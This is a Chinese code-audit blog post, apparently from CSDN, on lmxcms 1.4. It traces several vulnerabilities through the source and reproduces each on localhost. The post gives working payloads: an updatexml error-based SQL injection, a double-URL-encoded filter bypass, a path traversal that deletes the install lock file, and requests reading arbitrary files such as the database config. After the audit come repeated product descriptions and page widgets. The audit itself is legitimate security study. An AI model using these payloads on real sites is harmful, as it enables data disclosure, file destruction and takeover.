lmxcms1.4 代码审计分析复现

一、后台SQL注入漏洞

接收用户提交的参数时没有进行过滤,直接带入数据库执行,产生漏洞。

0x1 漏洞审计

image.png
漏洞存在点位于BookAction.class.php文件,reply函数中,使用get方式接收id传递过来的值给到getReply函数
image.png
getReply函数再给到selectModel函数,然后赋值给field
image.png
然后再给到selectDB函数去执行,
image.png
这里我们可以看到他将我们输入的直接拼接到select语句里面了,相当于底层没有进行一个过滤,那么你的所有防御只能靠上层去加,如果有疏漏就会产生漏洞。

0x 1.1漏洞复现

这里我们进行一个调试,在sql语句下面加一个echo。将执行的sql语句进行输出。

image.png
然后我们传一个参数看看

http://127.0.0.1/lmxcms1.4/admin.php?m=book&a=reply&id=1

注意这里要把a的参数值改为reply,即我们最开始的那个函数名
image.png
可以看到有回显,我们写一个简单的报错注入

http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1)and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)%20--+and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)%20--+)

image.png
可以看到版本显示出来了

二、前台SQL注入漏洞

前台的代码是在c\index下的,我们打开c\index\TagsAction.class.php

0x2 漏洞审计

image.png
TagsAction.class.php中存在两个变量一个data一个name,追溯data变量中的p函数,image.png
在p函数中,判断data的type然后根据type来决定,他是已什么方式去接收用户传递过来的nama值。在接收执行的过程中使用到了addslashes函数对字符进行了转义,
image.png
同时引用了filter_sql,mysql_retain函数过滤了大小写关键字。
可以看到一个黑名单,不允许使用这些方法,这导致大部分查询都用不了了,那么我们就要从外部绕过p函数,如果从里面绕过这些比较麻烦。
再看p函数下面的delHtml,这个是过滤掉html标签的函数,那么我们就可以传入一个sel<>ect,这样就可以绕过p函数,且在delHtml函数中将<>去掉变成select。这里我们试一下可不可以,首先跟进getNameData函数,一直跟到底
image.png
image.png
image.png
image.png
在这里加个echo $sql;

http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=a

image.png
尝试是否能闭合单引号
image.png
可以看到被转义了,这是因为p函数的原因,我们再尝试select
image.png
看到提示数据非法,那我们试一下sel<>ect,看到成功绕过
image.png
但是在接收nama参数要执行之前使用了urldecode函数,将nama传递过来的值进行url解码。
image.png
漏洞产生的关键原因就在这个url解码函数,即使他对参数进行了过滤我们将payload进行二次编码在浏览器访问的时候会进行一次解码然后还有一层url编码,过滤函数是无法判断的,所以产生了漏洞存在。

0x 2.1 漏洞复现

对payload进行二次url编码

a' and updatexml(1,concat(0x7e,(select version()),0x7e),1) #

/index.php?m=tags&name=%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33

image.png

三、任意文件删除漏洞

0x 3 漏洞审计

漏洞存在文件
c\admin\BackdbAction.class.php
虽然这里的unlink函数自定义的,但是依旧是用来php的unlink函数
image.png
看哪里用了这个delOne函数
image.png
image.png
在delmorebackdb函数中,POST接收filenam传递过来的值,并赋值给filename变量,然后跳转到deLOne函数判断传递过来的路径是否是设置好的路径,然后使用unLink函数进行删除。

0x 3.1 漏洞复现

删除file/back路径下的1.txt文件

http://127.0.0.1/lmxcms1.4/admin.php?m=Backdb&a=delbackdb&filename=1.txt


删除安装文件

http://127.0.0.1/lmxcms1.4/admin.php?m=Backdb&a=delbackdb&filename=../../install/install_ok.txt

image.png

image.png
四、任意文件读取漏洞

0x 4 漏洞审计

漏洞产生函数
file_get_contents
漏洞存在文件
c\admin\TemplateAction.class.php
通过搜索关键函数 file_get_contents 定位到file.class.php文件
image.png
image.png
这里自定义了一个getcon函数,里面有file_get_contents函数,并且没有进行过滤,全局搜索一下哪里使用了getcon函数,发现在TemplateAction.class.php里面有使用
image.png
转到editfile函数下,在editfile中get方式接收dir传递过来的值并赋值给dir变量在,注释获取文件内容中,引用了getcon函数
总结起来就是get方式接收到的dir值就相当于path,而path引用了一个file_get_contents,最终造成了任意文件读取漏洞。

0x4.1 漏洞复现

http://127.0.0.1/lmxcms1.4/admin.php?m=Template&a=editfile&dir=1.txt


读取数据库配置文件

五、任意文件上传漏洞

0x5 漏洞审计

image.png
漏洞产生与editfile函数中,post接收settemcontent值如果不为空的话继续向下执行,然后到put
filename为文件名,temcontent为文件内容。

0x 5.1 漏洞复现

http://127.0.0.1/lmxcms1.4/admin.php?m=Template&a=opendir&dir=


image.png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
lmxcms1.4更新内容包括: 增加功能: 增加采集功能,采集功能非常强大,绝对可比拟市面上的任何cms的采集功能 增加上传图片生成缩略图可以根据宽度自动缩放高度比例 增加tags可以绑定栏目 增加随机信息调用标签 randdata 使用方法看手册 增加随机调用tags标签 randtags 使用方法看手册 后台去除嵌入广告 修复功能: 数据库恢复(注意:请在升级完成后重新备份数据库,避免以前备份过的无法恢复) 搜索时间间隔参数无效的bug 修复执行sql语句由于表前缀导致的错误 相关链接标签链接有误的bug lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签。 lmxcms1.4主要包括以下功能: 自定义模型:可以完全自由的根据网站需要添加修改所需字段。系统安装默认自带新闻模型和产品模型。 纯静态html生成:支持纯静态html生成,不仅可以减少数据库请求,加快页面载入速度,也更加适合搜索引擎优化(SEO)。 自定义表单:可以自由创建表单字段,每个表单可以自由组合表单所需要字段。 站内搜索:自由组合搜索条件,包括按照模型、栏目、字段、搜索模板、时间范围等,并且支持搜索关键字记录。 友情链接:支持文字和图片形式的友情链接。 广告系统:后台支持文字、图片、html三种形式的广告系统。 在线留言:支持自定义开启和关闭留言板,留言板页面支持调用留言数据。 焦点图系统:后台可以创建焦点图片,并且系统默认了5种样式的焦点图。 数据备份:后台可以备份和恢复数据库,并且可以自由下载数据库到本地。 模板管理:后台支持自定义切换模板风格,支持在线编辑模板(需要修改配置文件)。 文件管理:系统内嵌了swfupload上传插件,可以在文件管理里面来管理后台上传的各种图片、文件、附件等。 扩展变量:支持自定义扩展变量,可以在模板任意处输出该变量内容。 日志操作:后台的每一个操作都会记录到日志操作中,有需要时查看。 Tags功能:支持tags标签功能,增加信息可以选择或者自动创建,每个tags标签也可以定义不同的模板。 采集系统:支持图片远程保存,图片的各种处理等。 专题功能:支持自定义创建专题功能,增加信息可以选择专题,每个专题可以定义不同模板等。 自动、手动分词:增加、修改信息时,可以选择自动把正文或者标题提取为关键字功能。 提取描述:增加信息时可以选择自动提取正文中的第一段为描述信息。        相关阅读 同类推荐:lmxcms后台密码找回插件 企业网站源码
lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签。 lmxcms1.4主要包括以下功能: 自定义模型:可以完全自由的根据网站需要添加修改所需字段。系统安装默认自带新闻模型和产品模型。 纯静态html生成:支持纯静态html生成,不仅可以减少数据库请求,加快页面载入速度,也更加适合搜索引擎优化(SEO)。 自定义表单:可以自由创建表单字段,每个表单可以自由组合表单所需要字段。 站内搜索:自由组合搜索条件,包括按照模型、栏目、字段、搜索模板、时间范围等,并且支持搜索关键字记录。 友情链接:支持文字和图片形式的友情链接。 广告系统:后台支持文字、图片、html三种形式的广告系统。 在线留言:支持自定义开启和关闭留言板,留言板页面支持调用留言数据。 焦点图系统:后台可以创建焦点图片,并且系统默认了5种样式的焦点图。 数据备份:后台可以备份和恢复数据库,并且可以自由下载数据库到本地。 模板管理:后台支持自定义切换模板风格,支持在线编辑模板(需要修改配置文件)。 文件管理:系统内嵌了swfupload上传插件,可以在文件管理里面来管理后台上传的各种图片、文件、附件等。 扩展变量:支持自定义扩展变量,可以在模板任意处输出该变量内容。 **志操作:后台的每一个操作都会记录到**志操作中,有需要时查看。 Tags功能:支持tags标签功能,增加信息可以选择或者自动创建,每个tags标签也可以定义不同的模板。 采集系统:支持图片远程保存,图片的各种处理等。 专题功能:支持自定义创建专题功能,增加信息可以选择专题,每个专题可以定义不同模板等。 自动、手动分词:增加、修改信息时,可以选择自动把正文或者标题提取为关键字功能。 提取描述:增加信息时可以选择自动提取正文中的第一段为描述信息。 lmxcms1.4更新内容包括: 增加功能: 增加采集功能,采集功能非常强大,绝对可比拟市面上的任何cms的采集功能 增加上传图片生成缩略图可以根据宽度自动缩放高度比例 增加tags可以绑定栏目 增加随机信息调用标签 randdata 使用方法看手册 增加随机调用tags标签 randtags 使用方法看手册 后台去除嵌入广告 修复功能: 数据库恢复(注意:请在升级完成后重新备份数据库,避免以前备份过的无法恢复) 搜索时间间隔参数无效的bug 修复执行sql语句由于表前缀导致的错误 相关链接标签链接有误的bug
lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签。 lmxcms主要包括以下功能: 自定义模型:可以完全自由的根据网站需要添加修改所需字段。系统安装默认自带新闻模型和产品模型。 纯静态html生成:支持纯静态html生成,不仅可以减少数据库请求,加快页面载入速度,也更加适合搜索引擎优化(SEO)。 自定义表单:可以自由创建表单字段,每个表单可以自由组合表单所需要字段。 站内搜索:自由组合搜索条件,包括按照模型、栏目、字段、搜索模板、时间范围等,并且支持搜索关键字记录。 友情链接:支持文字和图片形式的友情链接。 广告系统:后台支持文字、图片、html三种形式的广告系统。 在线留言:支持自定义开启和关闭留言板,留言板页面支持调用留言数据。 焦点图系统:后台可以创建焦点图片,并且系统默认了5种样式的焦点图。 数据备份:后台可以备份和恢复数据库,并且可以自由下载数据库到本地。 模板管理:后台支持自定义切换模板风格,支持在线编辑模板(需要修改配置文件)。 文件管理:系统内嵌了swfupload上传插件,可以在文件管理里面来管理后台上传的各种图片、文件、附件等。 扩展变量:支持自定义扩展变量,可以在模板任意处输出该变量内容。 日志操作:后台的每一个操作都会记录到日志操作中,有需要时查看。 Tags功能:支持tags标签功能,增加信息可以选择或者自动创建,每个tags标签也可以定义不同的模板。 专题功能:支持自定义创建专题功能,增加信息可以选择专题,每个专题可以定义不同模板等。 自动、手动分词:增加、修改信息时,可以选择自动把正文或者标题提取为关键字功能。 提取描述:增加信息时可以选择自动提取正文中的第一段为描述信息。 lmxcms v1.3 更新日志: lmxcms1.3增加功能: 加入专题功能 加入tags标签功能 静态模式下可以使用中文路径(服务器或者空间必须支持中文文件夹),否则为拼音模式,可以在 config.inc.php中设置路径模式 加入伪静态访问模式 加入栏目绑定域名功能 需要配合域名解析 加入后台登录密码错误次数限制 加入控制后台操作日志开关 /inc/config.inc.php 参数控制 增加设置内容信息关键字和关键字链接 增加提取正文为描述信息 增加提取标题或正文为关键字 修改内容信息页面布局 lmxcms1.3修复: 修复图片上传、水印错误 修复删除图片、文件不删除本地文件的错误 修复数据库备份因数据量过大导致内存溢出错误,优化数据库备份、恢复、下载功能

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值